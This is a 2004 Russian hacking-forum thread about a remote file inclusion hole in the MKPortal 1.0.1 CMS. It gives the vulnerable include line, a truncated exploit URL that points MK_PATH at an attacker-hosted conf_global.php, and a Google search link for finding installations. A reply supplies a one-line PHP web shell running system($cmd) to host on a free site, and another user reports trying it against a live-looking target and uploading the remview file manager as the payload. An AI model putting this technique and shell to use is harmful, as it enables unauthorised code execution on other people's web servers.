Дыра в cms "mkportal" v1.0.1

Discussion in 'Уязвимости' started by zFailure, 21 Jul 2004.

  1. zFailure

    zFailure Elder - Старейшина

    Joined:
    6 Jun 2004
    Messages:
    163
    Likes Received:
    24
    Reputations:
    24
    внимание! в 1.0.1а это уже исправили

    файл http://[target]/mkportal/include/driverf.php содержит
    что-то вроде
    </span><table border="0" align="center" width="95%" cellpadding="3" cellspacing="1"><tr><td>Исходный код </td></tr><tr><td id="CODE">require $MK_PATH."/conf_global.php";[/QUOTE]<span id='postcolor'>

    эксплойт:
    http://[target]/mkporta....TH=http

    где:
    http://[hacker_site]/conf_global.php
    любой php код

    http://www.google.ru/search?....%BA&lr=
     
  2. Че Гевара

    Че Гевара Elder - Старейшина

    Joined:
    5 Oct 2003
    Messages:
    1,049
    Likes Received:
    29
    Reputations:
    8
  3. Че Гевара

    Че Гевара Elder - Старейшина

    Joined:
    5 Oct 2003
    Messages:
    1,049
    Likes Received:
    29
    Reputations:
    8
    Хотелось бы добавить, что &quot;сайтом с кодом&quot; может являться любой сайт на народе со страничкой следующего содержания:
    </span><table border="0" align="center" width="95%" cellpadding="3" cellspacing="1"><tr><td>Исходный код </td></tr><tr><td id="CODE">
    <PRE>
    <H4>
    <? system($cmd); ?>
    </H4>
    </PRE>
    [/QUOTE]<span id='postcolor'>
    Н-р: http://www.shutnicok.narod.ru/xak.php
     
  4. zFailure

    zFailure Elder - Старейшина

    Joined:
    6 Jun 2004
    Messages:
    163
    Likes Received:
    24
    Reputations:
    24
    кстати как видно из запроса в google
    этот движок неплохо распостранился


    интересно сколько на народе вот таких сайтов с загадочными файлами *.php =)
     
  5. PhreakeR

    PhreakeR New Member

    Joined:
    11 Oct 2004
    Messages:
    3
    Likes Received:
    0
    Reputations:
    0
    Блин, пишет вот что:
    </span><table border="0" align="center" width="95%" cellpadding="3" cellspacing="1"><tr><td>Цитата </td></tr><tr><td id="QUOTE">Fatal error: main(): Failed opening required 'http://hack-user.narod.ru/conf_global.php' (include_path='.:') in /membri/galassia/mkportal/include/driverf.php on line 20[/QUOTE]<span id='postcolor'>
     
  6. PhreakeR

    PhreakeR New Member

    Joined:
    11 Oct 2004
    Messages:
    3
    Likes Received:
    0
    Reputations:
    0
  7. PhreakeR

    PhreakeR New Member

    Joined:
    11 Oct 2004
    Messages:
    3
    Likes Received:
    0
    Reputations:
    0
    и ещё я загрузил remview на narod и переименовал в conf_global.php